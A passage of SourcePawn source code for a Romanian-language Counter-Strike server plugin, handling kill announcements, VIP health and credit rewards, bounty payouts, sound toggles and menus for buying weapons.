		else if((StrContains(Weapon, "awp") != -1 || StrContains(Weapon, "ssg08") != -1) && GetEntProp(attacker, Prop_Data, "m_iFOV") == 0)
		{
			if(CanHearTheSound[victim])
			{
				ClientCommand(victim, "play \"*xsag/sunete/noscope.mp3\"");
			}
			if(CanHearTheSound[attacker])
			{
				ClientCommand(attacker, "play \"*xsag/sunete/noscope.mp3\"");
			}
			PrintToChatAll(" \x05[BOT]ESL\x01: \x06%s\x01 ︻デ═一 \x0C %s\x01! [\x06✔\x10NoScope\x01︎]", AttackerName, VictimName);
		}
	}
}

public Action Event_PlayerDeathKnife(Handle event, const char[] name, bool dontBroadcast)
{
	int victim = GetClientOfUserId(GetEventInt(event, "userid")), attacker = GetClientOfUserId( GetEventInt(event, "attacker"));
	if(IsValidClient(attacker) && IsValidClient(victim) && victim != attacker)
	{
		char Weapon[64];
		GetEventString(event, "weapon", Weapon, sizeof(Weapon));
		char AttackerName[32];
		GetClientName(attacker, AttackerName, sizeof(AttackerName));
		char VictimName[32];
		GetClientName(victim, VictimName, sizeof(VictimName));
		if((StrContains(Weapon, "knife") != -1) || (StrContains(Weapon, "bayonet") != -1)) 
		{
			ClientCommand(victim, "play \"*xsag/sunete/killk.mp3\"");
			ClientCommand(attacker, "play \"*xsag/sunete/killk.mp3\"");
			PrintToChatAll(" \x05[BOT]ESL\x01: \x0C%s\x01 a fost tranșat de către \x06 %s\x01!", VictimName, AttackerName);
		}
		if((StrContains(Weapon, "taser") != -1)) 
		{
			ClientCommand(victim, "play \"*xsag/sunete/surprise.mp3\"");
			ClientCommand(attacker, "play \"*xsag/sunete/surprise.mp3\"");
			PrintToChatAll(" \x05[BOT]ESL\x01: \x0C%s\x01 a fost prăjit de către \x06 %s\x01!", VictimName, AttackerName);
		}
	}
}


public Action hookPlayerDie(Event event, const char[] name, bool dontBroadcast)
{
	int client = GetClientOfUserId(GetEventInt(event, "attacker"));
	if(!client) return Plugin_Handled;

	int Max = 100;
	int CurrentHp = GetEntProp(client, Prop_Data, "m_iHealth");
	if(CurrentHp == Max) return Plugin_Handled;
	
	if(IsClientRealVip(client) && IsPlayerAlive(client))
	{
		int HpVP = 10;
		if((CurrentHp + HpVP) > Max)
		{
			SetEntProp(client, Prop_Send, "m_iHealth", Max, 1);
			PrintToChat(client, " \x05[BOT]ESL\x01: Ai primit \x10%d\x06 HP\x01 pentru acest kill! [\x0BRecompensă\x01: V.I.P Premium]", (Max - CurrentHp));
		}
		else
		{
			SetEntProp(client, Prop_Send, "m_iHealth", HpVP + CurrentHp, 1);
			PrintToChat(client, " \x05[BOT]ESL\x01: Ai primit \x10%d\x06 HP\x01 pentru acest kill! [\x0BRecompensă\x01: V.I.P Premium]", HpVP);
		}
	}
	else if(IsClientFreeVip[client] && IsPlayerAlive(client))
	{
		int HpVF = 5;
		if((CurrentHp + HpVF) > Max)
		{
			SetEntProp(client, Prop_Send, "m_iHealth", Max, 1);
			PrintToChat(client, " \x05[BOT]ESL\x01: Ai primit \x10%d\x06 HP\x01 pentru acest kill! [\x0BRecompensă\x01: V.I.P Free]", (Max - CurrentHp));
		} 
		else
		{
			SetEntProp(client, Prop_Send, "m_iHealth", HpVF + CurrentHp, 1);
			PrintToChat(client, " \x05[BOT]ESL\x01: Ai primit \x10%d\x06 HP\x01 pentru acest kill! [\x0BRecompensă\x01: V.I.P Free]", HpVF);
		}
	}
	return Plugin_Continue;
}

public Action Event_PlayerDeathCredite(Event event, const char[] name, bool dontBroadcast) 
{
	int client = GetClientOfUserId(GetEventInt(event, "userid")), attacker = GetClientOfUserId(GetEventInt(event, "attacker"));
	char cname[32], aname[32];
	GetClientName(client, cname, 32);
	GetClientName(attacker, aname, 32);	
	if (!attacker)
		return;
	if (attacker == client)
		return;
	if(GameRules_GetProp("m_bWarmupPeriod") == 0)
	{
		char Weapon[64];
		bool headshot = GetEventBool(event, "headshot");
		int JucatoriConnectatiMap = 0;
		GetEventString(event, "weapon", Weapon, sizeof(Weapon));
		
		for(int i = 1; i<MaxClients; i++) 
		{
			if(IsClientInGame(i) && !IsFakeClient(i)) 
			{
				JucatoriConnectatiMap++;
			}
		}
	
		if(attacker && IsValidClient(attacker) && headshot)
    	{   
    		if(JucatoriConnectatiMap == 32)
    		{
    			Credite[attacker] += 4;
    		}
    		else
    		{
				Credite[attacker] += 2;
			}
		}
		else if((StrContains(Weapon, "knife") != -1) || (StrContains(Weapon, "bayonet") != -1)) 
		{
			if(JucatoriConnectatiMap == 32)
    		{
    			Credite[attacker] += 20;
    		}
    		else
    		{
				Credite[attacker] +=10;
			}
		}
		else if((StrContains(Weapon, "taser") != -1)) 
		{
			if(JucatoriConnectatiMap == 32)
    		{
    			Credite[attacker] += 14;
    		}
    		else
    		{
				Credite[attacker] += 7;
			}
		}
		else
		{
			if(JucatoriConnectatiMap == 32)
    		{
    			Credite[attacker] += 2;
    		}
    		else
    		{
				Credite[attacker] += 1;
			}
		}
	}
	if(IsClientBounty[client] && GetClientTeam(client) != GetClientTeam(attacker) && (client != attacker))  
	{
		Credite[attacker] += stockbounty;
		PrintToChatAll(" \x05[BOT]ESL\x01:\x06 %s\x01 l-a ucis pe cel cu  bounty (\x10%s\x01) și a primit\x06 %i credite\x01! [\x0BRecompensă\x01:\x10 Bounty]", aname, cname, stockbounty);
		IsClientBounty[client] = false;
		stockbounty = 0;
	}
}

public Action Event_PlayerDeath(Handle event, const char[] name, bool dontBroadcast)
{
	int iTeam, iTeams[2] = {0, 0}, iTPlayer, iCTPlayer;
	int victim = GetClientOfUserId( GetEventInt(event, "userid"));
	int attacker = GetClientOfUserId( GetEventInt(event, "attacker"));
	
	for(int i = 1; i <= MaxClients; i++)
	{
		if(IsClientInGame(i) && IsAlive(i))
		{
			iTeam = GetClientTeam(i);
			if(iTeam == 2)
			{
				iTeams[0]++;
				if(iTPlayer == 0)
				{ 
					iTPlayer = i;
				}
			}
			else if(iTeam == 3)
			{
				iTeams[1]++;
				if(iCTPlayer == 0)
				{
					iCTPlayer = i;
				}
			}
		}
	}
	
	if(attacker > 0 && attacker < MaxClients && IsClientInGame(attacker) && victim > 0 && victim < MaxClients && IsClientInGame(victim) && attacker != victim) 
	{
		if(IsClientRealVip(attacker))
		{
			if(MoneyOffset != -1) 
			{
				SetEntProp(attacker, Prop_Send, "m_iAccount", GetEntProp(attacker, Prop_Send, "m_iAccount") + ucidere_inamic);
			}
		}
	}
}

public Action PlayerDeath(Handle event, const char[] name, bool dontBroadcast)
{
	int client = GetClientOfUserId(GetEventInt(event, "userid"));
	if(vipdoubleshop[client] == 1)
	{
		vipdoubleshop[client] = 0;
		SwitchDJ[client] = 0;
		PrintToChat(client, " \x05[BOT]ESL\x01: \x06Double Jump\x01 a fost dezactivat, iar \x10Bhop-ul\x01 activat!");
	}
	/*if(GameRules_GetProp("m_bWarmupPeriod") == 0)
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: \x07Atenție!!!\x01 Ai\x10 5\x01 secunde la dispoziție să oferi info coechipierilor!");
		CreateTimer(5.0, Timer_InfoMicrofon, client);
	}*/
	float delay = 2.0;
	if (delay > 0.0)
	{
		CreateTimer(delay, Dissolve, client); 
	}
	else
	{
		Dissolve(INVALID_HANDLE, client);
	}
	return Plugin_Continue;
	
}

/*public Action Timer_InfoMicrofon(Handle timer, any client)
{    
    PrintToChat(client, " \x05[BOT]ESL\x01: \x07Atenție!!!\x01 Poți să vorbești doar cu cei care sunt deja morți!");
}*/

public Action Dissolve(Handle timer, any client)
{
	if(!IsValidEntity(client))
		return;
	int ragdoll = GetEntPropEnt(client, Prop_Send, "m_hRagdoll");
	if(ragdoll<0)
	{
		PrintToServer("[DISSOLVE] Could not get ragdoll for player!");  
		return;
	} 
	char dname[32], dtype[32];
	Format(dname, sizeof(dname), "dis_%d", client);
	Format(dtype, sizeof(dtype), "%d", 3);
	int ent = CreateEntityByName("env_entity_dissolver");
	if (ent>0)
	{
		DispatchKeyValue(ragdoll, "targetname", dname);
		DispatchKeyValue(ent, "dissolvetype", dtype);
		DispatchKeyValue(ent, "target", dname);
		AcceptEntityInput(ent, "Dissolve");
		AcceptEntityInput(ent, "kill");
	}
}
	
public Action Comanda_NoScopeSounds(int client, int args)
{
	if(CanHearTheSound[client])
	{
		CanHearTheSound[client] = false;
		SetClientCookie(client, HearSound, "0");
		PrintToChat(client, " \x05[BOT]ESL\x01: Ai oprit sunetul de la \x06Noscope\x01.");
	}
	else 
	{
		CanHearTheSound[client] = true;
		SetClientCookie(client, HearSound, "1");
		PrintToChat(client, " \x05[BOT]ESL\x01: Ai pornit sunetul de la \x06Noscope\x01.");
	}
}

public Action Comanda_NoC4Sounds(int client, int args)
{
	if(SunetC4[client])
	{
		SunetC4[client] = false;
		SetClientCookie(client, C4Sound, "0");
		PrintToChat(client, " \x05[BOT]ESL\x01: Ai oprit sunetul de la \x06C4\x01.");
	}
	else 
	{
		SunetC4[client] = true;
		SetClientCookie(client, C4Sound, "1");
		PrintToChat(client, " \x05[BOT]ESL\x01: Ai pornit sunetul de la \x06C4\x01.");
	}
}
	
/* Sfârșit anunț NoScope */
public void OnPlayerRunCmdPost(int iClient, int iButtons)
{
	static int iOldButtons[MAXPLAYERS+1];

	if(iButtons & IN_SCORE && !(iOldButtons[iClient] & IN_SCORE))
	{
		StartMessageOne("ServerRankRevealAll", iClient, USERMSG_BLOCKHOOKS);
		EndMessage();
	}

	iOldButtons[iClient] = iButtons;
}

	
public Action Comanda_MeniuAdmini(int client, int args)
{
	PrintToChat(client, " \x05[BOT]ESL\x01: Meniul pentru admini este în lucru.");
	return Plugin_Handled;
}
/* Început meniu jucători */
public Action Comanda_Owneri(int client, int args)
{
	ContactOwneri(client);
	return Plugin_Handled;
}
public Action Comanda_MeniuJucatori(int client, int args)
{
	if(IsClientInGame(client) && IsValidClient(client))
		Meniu(client);
	return Plugin_Handled;
}

public Action Comanda_MeniuSunete(int client, int args)
{
	if(IsClientInGame(client) && IsValidClient(client))
		MeniuSetariSunete(client);
	return Plugin_Handled;
}

stock bool Meniu(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		char steamid[20], nume[64];
		GetClientAuthId(client, AuthId_Engine, steamid, sizeof(steamid));
		GetClientName(client, nume, sizeof(nume));
		Menu meniu_meniu= new Menu(Meniu_MeniuHandler);
		AdminId admin = GetUserAdmin(client);
		if (admin != INVALID_ADMIN_ID)
		{
			char GroupBuffer[32];
			if ((GetAdminGroup(admin, 0, GroupBuffer, sizeof(GroupBuffer)) != INVALID_GROUP_ID))
			{
				if(StrEqual(GroupBuffer, "Owner+V.I.P") || StrEqual(GroupBuffer, "Owner"))
				{
					if(IsClientRealVip(client))
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Owner\nV.I.P: PREMIUM\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else if(IsClientFreeVip[client])
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Owner\nV.I.P: FREE\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else 
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Owner\nV.I.P: Nu ai\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
				}
				else if(StrEqual(GroupBuffer, "Co-Owner+V.I.P") || StrEqual(GroupBuffer, "Co-Owner"))
				{
					if(IsClientRealVip(client))
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Co-Owner\nV.I.P: PREMIUM\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else if(IsClientFreeVip[client])
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Co-Owner\nV.I.P: FREE\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else 
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Co-Owner\nV.I.P: Nu ai\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
				}
				else if(StrEqual(GroupBuffer, "Supervizor+V.I.P") || StrEqual(GroupBuffer, "Supervizor"))
				{
					if(IsClientRealVip(client))
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Supervizor\nV.I.P: PREMIUM\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else if(IsClientFreeVip[client])
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Supervizor\nV.I.P: FREE\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else 
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Supervizor\nV.I.P: Nu ai\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
				}
				else if(StrEqual(GroupBuffer, "Administrator+V.I.P") || StrEqual(GroupBuffer, "Administrator"))
				{
					if(IsClientRealVip(client))
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Administrator\nV.I.P: PREMIUM\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else if(IsClientFreeVip[client])
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Administrator\nV.I.P: FREE\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else 
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Administrator\nV.I.P: Nu ai\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
				}
				else if(StrEqual(GroupBuffer, "Moderator+V.I.P") || StrEqual(GroupBuffer, "Moderator"))
				{
					if(IsClientRealVip(client))
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Moderator\nV.I.P: PREMIUM\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else if(IsClientFreeVip[client])
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Moderator\nV.I.P: FREE\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else 
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Moderator\nV.I.P: Nu ai\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
				}
				else if(StrEqual(GroupBuffer, "Helper+V.I.P") || StrEqual(GroupBuffer, "Helper"))
				{
					if(IsClientRealVip(client))
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Helper\nV.I.P: PREMIUM\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else if(IsClientFreeVip[client])
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Helper\nV.I.P: FREE\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else 
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Helper\nV.I.P: Nu ai\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
				}
				else if(StrEqual(GroupBuffer, "V.I.P"))
				{
					if(IsClientRealVip(client))
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Fară\nV.I.P: PREMIUM\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else if(IsClientFreeVip[client])
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Fară\nV.I.P: FREE\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else 
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Fară\nV.I.P: Nu ai\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
				}
				else if(StrEqual(GroupBuffer, "Miss+V.I.P") || StrEqual(GroupBuffer, "Miss"))
				{
					if(IsClientRealVip(client))
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Miss\nV.I.P: PREMIUM\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else if(IsClientFreeVip[client])
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Miss\nV.I.P: FREE\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else 
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Miss\nV.I.P: Nu ai\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
				}
				else if(StrEqual(GroupBuffer, "Slot+V.I.P") || StrEqual(GroupBuffer, "Slot"))
				{
					if(IsClientRealVip(client))
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Slot\nV.I.P: PREMIUM\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else if(IsClientFreeVip[client])
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Slot\nV.I.P: FREE\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
					else 
					{
						meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Slot\nV.I.P: Nu ai\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);
					}
				}
			}
		}
		else
		{
			if(IsClientRealVip(client))
			{
				meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Fară\nV.I.P: PREMIUM\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);	
			}
			else if(IsClientFreeVip[client])
			{
				meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Fară\nV.I.P: FREE\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);	
			}
			else 
			{
				meniu_meniu.SetTitle("Meniu Jucători - v1.7\n---------------------------\n%s\n%s\nGrad: Fară\nV.I.P: Nu ai\nCredite: %i\n---------------------------", nume, steamid, Credite[client]);	
			}
		}
		meniu_meniu.AddItem("", "Pune skin / cuțit / mânuși");
		meniu_meniu.AddItem("", "Shop");
		if(IsClientRealVip(client))
		{
			meniu_meniu.AddItem("", "Meniu V.I.P");
		}
		if(!IsClientRealVip(client)) 
		{
			meniu_meniu.AddItem("", "Meniu V.I.P - [Doar pentru V.I.P]",ITEMDRAW_DISABLED);
		}
		meniu_meniu.AddItem("", "Sisteme");
		meniu_meniu.AddItem("", "Wiki");
		meniu_meniu.AddItem("", "Setări Server");
		meniu_meniu.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int Meniu_MeniuHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 				
		{
			case 0:
			{
				Aspect(client);
			}
			case 1:
			{
				FakeClientCommand(client, "sm_shop");
			}	
			case 2:
			{
				MeniuVIP(client);
			}
			case 3:
			{
				MeniuArmament(client);
			}
			case 4:
			{
				WikiServer(client);
			}
			case 5:
			{
				MeniuSetari(client);
			}
		}
	}
}

stock bool MeniuVIP(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu = new Menu(MeniuVipHandler);
		meniu.SetTitle("\n----------\nMeniu V.I.P\n----------\n");
		if(IsPlayerAlive(client))
		{
			meniu.AddItem("", "Cumpără arme din echipa adversă");
		}
		else if(!IsPlayerAlive(client) || GetClientTeam(client) == 1)
		{
			meniu.AddItem("", "Cumpără arme din echipa adversă",ITEMDRAW_DISABLED);
		}
		meniu.AddItem("", "Setări");
		meniu.ExitBackButton = true;
		meniu.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int MeniuVipHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
		Meniu(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 
		{
			case 0:
			{
				MeniuArmamentVip(client);
			}
			case 1:
			{
				FakeClientCommand(client, "vipsettings");
			}
		}
	}
}

stock bool MeniuArmamentVip(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu = new Menu(MeniuArmamentVipHandler);
		if(GetClientTeam(client) == 3)
		{
			meniu.SetTitle("\n----------\nArmament Teroriști]\n----------\n");
		}
		else if(GetClientTeam(client) == 2)
		{
			meniu.SetTitle("\n----------\nArmament Anti-Teroriști]\n----------\n");
		}
		meniu.AddItem("", "Pistoale");
		if(RoundsPassed == 1)
		{
			meniu.AddItem("", "Arme (După prima rundă)",ITEMDRAW_DISABLED);
		}
		else
		{
			meniu.AddItem("", "Arme");
		}
		meniu.ExitBackButton = true;
		meniu.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int MeniuArmamentVipHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
		MeniuVIP(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 
		{
			case 0:
			{
				MeniuPistoaleV(client);
			}
			case 1:
			{
				MeniuArmeV(client);
			}
		}
	}
}

stock bool MeniuArmeV(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		int baniarme = GetEntProp(client, Prop_Send, "m_iAccount");
		Menu meniu = new Menu(MeniuArmeVHandler);
		if(GetClientTeam(client) == 3)
		{
			meniu.SetTitle("\n----------\nArme Teroriști]\n----------\n");
			if(baniarme < 1050)
			{
				meniu.AddItem("", "Mac-10 - [1050$]",ITEMDRAW_DISABLED);
			}
			else
			{
				meniu.AddItem("", "Mac-10 - [1050$]");
			}
			if(baniarme < 1100)
			{
				meniu.AddItem("", "Sawed-Off - [1100$]",ITEMDRAW_DISABLED);
			}
			else
			{
				meniu.AddItem("", "Sawed-Off - [1100$]");
			}
			if(baniarme < 1800)
			{
				meniu.AddItem("", "Galil AR - [1800$]",ITEMDRAW_DISABLED);
			}
			else
			{
				meniu.AddItem("", "Galil AR - [1800$]");
			}
			if(baniarme < 2700)
			{
				meniu.AddItem("", "Ak-47 - [2700$]",ITEMDRAW_DISABLED);
			}
			else
			{
				meniu.AddItem("", "Ak-47 - [2700$]");
			}
			if(baniarme < 3000)
			{
				meniu.AddItem("", "SG 553 - [3000$]",ITEMDRAW_DISABLED);
			}
			else
			{
				meniu.AddItem("", "SG 553 - [3000$]");
			}
		}
		else if(GetClientTeam(client) == 2)
		{
			meniu.SetTitle("\n----------\nArme Anti-Teroriști]\n----------\n");
			if(baniarme < 1250)
			{
				meniu.AddItem("", "MP9 - [1250$]",ITEMDRAW_DISABLED);
			}
			else
			{
				meniu.AddItem("", "MP9 - [1250$]");
			}
			if(baniarme < 1300)
			{
				meniu.AddItem("", "MAG-7 - [1300$]",ITEMDRAW_DISABLED);
			}
			else
			{
				meniu.AddItem("", "MAG-7 - [1300$]");
			}
			if(baniarme < 2050)
			{
				meniu.AddItem("", "FAMAS - [2050$]",ITEMDRAW_DISABLED);
			}
			else
			{
				meniu.AddItem("", "FAMAS - [2050$]");
			}
			if(baniarme < 3100)
			{
				meniu.AddItem("", "M4A4 - [3100$]",ITEMDRAW_DISABLED);
			}
			else
			{
				meniu.AddItem("", "M4A4 - [3100$]");
			}
			if(baniarme < 3100)
			{
				meniu.AddItem("", "M4A1-S - [3100$]",ITEMDRAW_DISABLED);
			}
			else
			{
				meniu.AddItem("", "M4A1-S - [3100$]");
			}
			if(baniarme < 3300)
			{
				meniu.AddItem("", "AUG - [3300$]",ITEMDRAW_DISABLED);
			}
			else
			{
				meniu.AddItem("", "AUG - [3300$]");
			}
		}
		meniu.ExitBackButton = true;
		meniu.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int MeniuArmeVHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
		MeniuArmamentVip(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		int arma = GetPlayerWeaponSlot(client, 0);
		if(GetClientTeam(client) == 3)
		{
			switch (param) 
			{
				case 0:
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x10Mac-10\x01 cu\x06 1050$\x01.", client);
					if (arma != -1)
					{
						CS_DropWeapon(client, arma, true, true);
					}
					int pret = 1050;
					SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") - pret);
					GivePlayerItem(client,  "weapon_mac10");
				}
				case 1:
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x10Sawed-Off\x01 cu\x06 1100$\x01.", client);
					if (arma != -1)
					{
						CS_DropWeapon(client, arma, true, true);
					}
					int pret = 1100;
					SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") - pret);
					GivePlayerItem(client,  "weapon_sawedoff");
				}
				case 2:
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x10Galil AR\x01 cu\x06 1800$\x01.", client);
					if (arma != -1)
					{
						CS_DropWeapon(client, arma, true, true);
					}
					int pret = 1800;
					SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") - pret);
					GivePlayerItem(client,  "weapon_galilar");
				}
				case 3:
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x10Ak-47\x01 cu\x06 2700$\x01.", client);
					if (arma != -1)
					{
						CS_DropWeapon(client, arma, true, true);
					}
					int pret = 2700;
					SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") - pret);
					GivePlayerItem(client,  "weapon_ak47");
				}
				case 4:
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x10SG 553\x01 cu\x06 3000$\x01.", client);
					if (arma != -1)
					{
						CS_DropWeapon(client, arma, true, true);
					}
					int pret = 3000;
					SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") - pret);
					GivePlayerItem(client,  "weapon_sg556");
				}
			}
		}
		else if(GetClientTeam(client) == 2)
		{
			switch (param) 
			{
				case 0:
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x10MP9\x01 cu\x06 1250$\x01.", client);
					if (arma != -1)
					{
						CS_DropWeapon(client, arma, true, true);
					}
					int pret = 1250;
					SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") - pret);
					GivePlayerItem(client,  "weapon_mp9");
				}
				case 1:
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x10MAG-7\x01 cu\x06 1300$\x01.", client);
					if (arma != -1)
					{
						CS_DropWeapon(client, arma, true, true);
					}
					int pret = 1300;
					SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") - pret);
					GivePlayerItem(client,  "weapon_mag7");
				}
				case 2:
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x10FAMAS\x01 cu\x06 2050$\x01.", client);
					if (arma != -1)
					{
						CS_DropWeapon(client, arma, true, true);
					}
					int pret = 2050;
					SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") - pret);
					GivePlayerItem(client,  "weapon_famas");
				}
				case 3:
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x10M4A4\x01 cu\x06 3100$\x01.", client);
					if (arma != -1)
					{
						CS_DropWeapon(client, arma, true, true);
					}
					int pret = 3100;
					SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") - pret);
					GivePlayerItem(client,  "weapon_m4a1");
				}
				case 4:
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x10M4A1-S\x01 cu\x06 3100$\x01.", client);
					if (arma != -1)
					{
						CS_DropWeapon(client, arma, true, true);
					}
					int pret = 3100;
					SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") - pret);
					GivePlayerItem(client,  "weapon_m4a1_silencer");
				}
				case 5:
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Ai cumpărat \x10AUG\x01 cu\x06 3300$\x01.", client);
					if (arma != -1)
					{
						CS_DropWeapon(client, arma, true, true);
					}
					int pret = 3300;
					SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") - pret);
					GivePlayerItem(client,  "weapon_aug");
				}
			}
		}
	}
}

stock bool MeniuPistoaleV(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		int banipistoale = GetEntProp(client, Prop_Send, "m_iAccount");
		Menu meniu = new Menu(MeniuPistoaleVHandler);
		if(GetClientTeam(client) == 3)
		{
			meniu.SetTitle("\n----------\nPistoale Teroriști]\n----------\n");
			if(banipistoale < 200)
			{
				meniu.AddItem("", "Glock-18 - [200$]",ITEMDRAW_DISABLED);
			}
			else
